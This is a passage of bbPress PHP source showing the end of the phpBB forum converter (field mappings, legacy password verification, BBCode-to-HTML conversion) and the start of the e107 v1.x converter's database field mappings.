			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_text',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		// Don't import users with id 2, these are phpBB bot/crawler accounts
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'user_password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_form_salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'phpBB'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename'  => 'profile_fields_data',
			'from_fieldname'  => 'pf_phpbb_website',
			'join_tablename'  => 'users',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id) WHERE users.user_type !=2',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'user_regdate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User AOL/AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_aol',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_yim'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_icq'
		);

		// Store MSN/WLM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_wlm',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_msnm'
		);

		// Store Facebook (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_facebook',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_facebook'
		);

		// Store Google+ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_googleplus',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_googleplus'
		);

		// Store Skype (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_skype',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_skype'
		);

		// Store Twitter (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_twitter',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_twitter'
		);

		// Store Youtube (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_youtube',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_youtube'
		);

		// Store Jabber
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_jabber',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_jabber'
		);

		// Store Occupation (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_occupation',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_occ'
		);

		// Store Interests (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_interests',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_interests'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_sig',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'profile_fields_data',
			'from_fieldname' => 'pf_phpbb_location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_from'
		);

		// Store Avatar Filename (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_avatar',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phpbb_user_avatar'
		);

		// Store old role (Stored in usermeta)
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value.
	 */
	public function callback_savepass( $field, $row ) {
		return array(
			'hash' => $field,
			'salt' => $row['user_form_salt']
		);
	}

	/**
	 * Check for correct password
	 *
	 * @param string $password The password in plain text
	 * @param string $hash The stored password hash
	 *
	 * @link Original source for password functions http://openwall.com/phpass/
	 * @link phpass is now included in WP Core https://core.trac.wordpress.org/browser/trunk/wp-includes/class-phpass.php
	 *
	 * @return bool Returns true if the password is correct, false if not.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
		$pass_array = unserialize( $serialized_pass );
		if ( strlen( $pass_array['hash'] ) == 34 ) {
			return ( $this->_hash_crypt_private( $password, $pass_array['hash'], $itoa64 ) === $pass_array['hash'] ) ? true : false;
		}

		return ( md5( $password ) === $pass_array['hash'] ) ? true : false;
	}

	/**
	 * The crypt function/replacement
	 */
	private function _hash_crypt_private( $password, $setting, &$itoa64 ) {
		$output = '*';

		// Check for correct hash
		if ( substr( $setting, 0, 3 ) != '$H$' ) {
			return $output;
		}

		$count_log2 = strpos( $itoa64, $setting[3] );

		if ( $count_log2 < 7 || $count_log2 > 30 ) {
			return $output;
		}

		$count = 1 << $count_log2;
		$salt  = substr( $setting, 4, 8 );

		if ( strlen( $salt ) != 8 ) {
			return $output;
		}

		/**
		 * We're kind of forced to use MD5 here since it's the only
		 * cryptographic primitive available in all versions of PHP
		 * currently in use.  To implement our own low-level crypto
		 * in PHP would result in much worse performance and
		 * consequently in lower iteration counts and hashes that are
		 * quicker to crack (by non-PHP code).
		 */
		if ( floatval( phpversion() ) >= 5 ) {
			$hash = md5( $salt . $password, true );
			do {
				$hash = md5( $hash . $password, true );
			}
			while ( --$count );
		} else {
			$hash = pack( 'H*', md5( $salt . $password ) );
			do {
				$hash = pack( 'H*', md5( $hash . $password ) );
			}
			while ( --$count );
		}

		$output = substr($setting, 0, 12);
		$output .= $this->_hash_encode64($hash, 16, $itoa64);

		return $output;
	}

	/**
	 * Encode hash
	 */
	private function _hash_encode64( $input, $count, &$itoa64 ) {
		$output = '';
		$i = 0;

		do {
			$value = ord( $input[ $i++ ] );
			$output .= $itoa64[ $value & 0x3f ];

			if ($i < $count) {
				$value |= ord( $input[ $i ] ) << 8;
			}

			$output .= $itoa64[( $value >> 6 ) & 0x3f];

			if ( $i++ >= $count ) {
				break;
			}

			if ( $i < $count ) {
				$value |= ord( $input[ $i ] ) << 16;
			}

			$output .= $itoa64[( $value >> 12 ) & 0x3f];

			if ( $i++ >= $count ) {
				break;
			}

			$output .= $itoa64[($value >> 18) & 0x3f];
		} while ( $i < $count );

		return $output;
	}

	/**
	 * Translate the forum type from phpBB v3.x numerics to WordPress's strings.
	 *
	 * @param int $status phpBB v3.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'category';
				break;

			case 1  :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the forum status from phpBB v3.x numerics to WordPress's strings.
	 *
	 * @param int $status phpBB v3.x numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic status from phpBB v3.x numerics to WordPress's strings.
	 *
	 * @param int $status phpBB v3.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0 :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from phpBB 3.x numerics to WordPress's strings.
	 *
	 * @param int $status phpBB 3.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 3 :
				$status = 'super-sticky'; // phpBB Global Sticky 'topic_type = 3'
				break;

			case 2 :
				$status = 'super-sticky'; // phpBB Announcement Sticky 'topic_type = 2'
				break;

			case 1 :
				$status = 'sticky';       // phpBB Sticky 'topic_type = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // phpBB normal topic 'topic_type = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count phpBB v3.x reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips custom phpBB 'magic_url' and 'bbcode_uid' first from $field before parsing $field to parser.php
		$phpbb_uid = $field;
		$phpbb_uid = html_entity_decode( $phpbb_uid );

		// Replace '[b:XXXXXXX]' with '<strong>'
		$phpbb_uid = preg_replace( '/\[b:(.*?)\]/',   '<strong>',  $phpbb_uid );
		// Replace '[/b:XXXXXXX]' with '</strong>'
		$phpbb_uid = preg_replace( '/\[\/b:(.*?)\]/', '</strong>', $phpbb_uid );

		// Replace '[i:XXXXXXX]' with '<em>'
		$phpbb_uid = preg_replace( '/\[i:(.*?)\]/',   '<em>',      $phpbb_uid );
		// Replace '[/i:XXXXXXX]' with '</em>'
		$phpbb_uid = preg_replace( '/\[\/i:(.*?)\]/', '</em>',     $phpbb_uid );

		// Replace '[u:XXXXXXX]' with '<u>'
		$phpbb_uid = preg_replace( '/\[u:(.*?)\]/',   '<u>',       $phpbb_uid );
		// Replace '[/u:XXXXXXX]' with '</u>'
		$phpbb_uid = preg_replace( '/\[\/u:(.*?)\]/', '</u>',      $phpbb_uid );

		// Replace '[quote:XXXXXXX]' with '<blockquote>'
		$phpbb_uid = preg_replace( '/\[quote:(.*?)\]/',          '<blockquote>',                   $phpbb_uid );
		// Replace '[quote="$1"]' with '<em>$1 wrote:</em><blockquote>"
		$phpbb_uid = preg_replace( '/\[quote="(.*?)":(.*?)\]/', '<em>@$1 wrote:</em><blockquote>', $phpbb_uid );
		// Replace '[/quote:XXXXXXX]' with '</blockquote>'
		$phpbb_uid = preg_replace( '/\[\/quote:(.*?)\]/',       '</blockquote>',                   $phpbb_uid );

		// Replace '[img:XXXXXXX]' with '<img src="'
		$phpbb_uid = preg_replace( '/\[img:(.*?)\]/',   '<img src="', $phpbb_uid );
		// Replace '[/img:XXXXXXX]' with ' alt="">'
		$phpbb_uid = preg_replace( '/\[\/img:(.*?)\]/', '" alt="">',  $phpbb_uid );

		// Replace '<!-- s$1 --><img src=\"{SMILIES_PATH}$2 -->' with '$1'
		$phpbb_uid = preg_replace( '/<!-- s(.*?) --><img src=\"{SMILIES_PATH}(.*?)-->/', '$1', $phpbb_uid );

		// Replace '<!-- m --><a class="postlink" href="$1">$1</a><!-- m -->' with '$1'
		$phpbb_uid = preg_replace( '/\<!-- m --\>\<a class="postlink" href="([^\[]+?)"\>([^\[]+?)\<\/a\>\<!-- m --\>/', '$1', $phpbb_uid );

		// Replace '[url:XXXXXXX]$1[/url:XXXXXXX]' with '<a href="http://$1">$1</a>'
		$phpbb_uid = preg_replace( '/\[url:(?:[^\]]+)\]([^\[]+?)\[\/url:(?:[^\]]+)\]/',       '<a href="http://$1">$1</a>',  $phpbb_uid );
		// Replace '[url=http://$1:XXXXXXX]$3[/url:XXXXXXX]' with '<a href="http://$1">$3</a>'
		$phpbb_uid = preg_replace( '/\[url\=http\:\/\/(.*?)\:(.*?)\](.*?)\[\/url:(.*?)\]/i',  '<a href="http://$1">$3</a>',  $phpbb_uid );
		// Replace '[url=https://$1:XXXXXXX]$3[/url:XXXXXXX]' with '<a href="http://$1">$3</a>'
		$phpbb_uid = preg_replace( '/\[url\=https\:\/\/(.*?)\:(.*?)\](.*?)\[\/url:(.*?)\]/i', '<a href="https://$1">$3</a>', $phpbb_uid );

		// Replace '[email:XXXXXXX]' with '<a href="mailto:$2">$2</a>'
		$phpbb_uid = preg_replace( '/\[email:(.*?)\](.*?)\[\/email:(.*?)\]/', '<a href="mailto:$2">$2</a>', $phpbb_uid );
		// Replace '<!-- e -->no.one@domain.adr<!-- e -->' with '$1'
		$phpbb_uid = preg_replace( '/\<!-- e --\>(.*?)\<!-- e --\>/', '$1', $phpbb_uid );

		// Replace '[code:XXXXXXX]' with '<pre><code>'
		$phpbb_uid = preg_replace( '/\[code:(.*?)\]/',   '<pre><code>',   $phpbb_uid );
		// Replace '[/code:XXXXXXX]' with '</code></pre>'
		$phpbb_uid = preg_replace( '/\[\/code:(.*?)\]/', '</code></pre>', $phpbb_uid );

		// Replace '[color=$1:XXXXXXXX]' with '<span style="color:$1">'
		$phpbb_uid = preg_replace( '/\[color=(.*?)\:(.*?)\]/', '<span style="color: $1">', $phpbb_uid );
		// Replace '[/color:XXXXXXX]' with '</span>'
		$phpbb_uid = preg_replace( '/\[\/color:(.*?)\]/',      '</span>',                  $phpbb_uid );

		// Replace '[size=$1:XXXXXXXX]' with '<span style="font-size:$1%;">$3</span>'
		$phpbb_uid = preg_replace( '/\[size=(.*?):(.*?)\]/', '<span style="font-size:$1%;">', $phpbb_uid );
		// Replace '[/size:XXXXXXX]' with ''
		$phpbb_uid = preg_replace( '/\[\/size:(.*?)\]/',     '</span>',                       $phpbb_uid );

		// Replace '[list:XXXXXXX]' with '<ul>'
		$phpbb_uid = preg_replace( '/\[list:(.*?)\]/',     '<ul>',          $phpbb_uid );
		// Replace '[list=a:XXXXXXX]' with '<ol type="a">'
		$phpbb_uid = preg_replace( '/\[list=a:(.*?)\]/',   '<ol type="a">', $phpbb_uid );
		// Replace '[list=1:XXXXXXX]' with '<ol>'
		$phpbb_uid = preg_replace( '/\[list=1:(.*?)\]/',   '<ol>',          $phpbb_uid );
		// Replace '[*:XXXXXXX]' with '<li>'
		$phpbb_uid = preg_replace( '/\[\*:(.*?)\]/',       '<li>',          $phpbb_uid );
		// Replace '[/*:m:XXXXXXX]' with '</li>'
		$phpbb_uid = preg_replace( '/\[\/\*:m:(.*?)\]/',   '</li>',         $phpbb_uid );
		// Replace '[/list:u:XXXXXXX]' with '</ul>'
		$phpbb_uid = preg_replace( '/\[\/list:u:(.*?)\]/', '</ul>',         $phpbb_uid );
		// Replace '[/list:o:XXXXXXX]' with '</ol>'
		$phpbb_uid = preg_replace( '/\[\/list:o:(.*?)\]/', '</ol>',         $phpbb_uid );

		// Now that phpBB's 'magic_url' and 'bbcode_uid' have been stripped put the cleaned HTML back in $field
		$field = $phpbb_uid;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/e107v1.php000066600000045274151771460310013315 0ustar00<?php

/**
 * bbPress e107 1.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of e107 v1.x Forum converter.
 *
 * @since 2.6.0 bbPress (r5352)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/e107
 */
class e107v1 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'forum_parent',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_threads',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_replies',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_threads',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_replies',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'forum_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'forum_description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 0 or Forum > 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'forum_parent',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_id',
			'from_expression' => 'WHERE thread_parent = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_total_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_total_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: Uses a custom callback to transform user id from '1.Administrator e107v1' to numeric user id.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_user',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_e107v1_userid'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_thread',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'forum_t',
			'from_fieldname' => 'thread_name',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_name',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic status (Open or Closed, e107 v1.x open = 1 & closed = 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_active',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_s',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * e107 v1.x Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_id',
			'from_expression' => 'WHERE thread_parent != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_forum_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_parent',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author.
		// Note: Uses a custom callback to transform user id from '1.Administrator e107v1' to numeric user id.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_user',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_e107v1_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_thread',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_parent',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_t',
			'from_fieldname'  => 'thread_datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'user_password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'e107v1'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_loginname',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_loginname',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'user_join',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'user_signature',
			'to_fieldname'    => '_bbp_e107v1_user_sig',
			'to_type'         => 'user',
			'callback_method' => 'callback_html'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
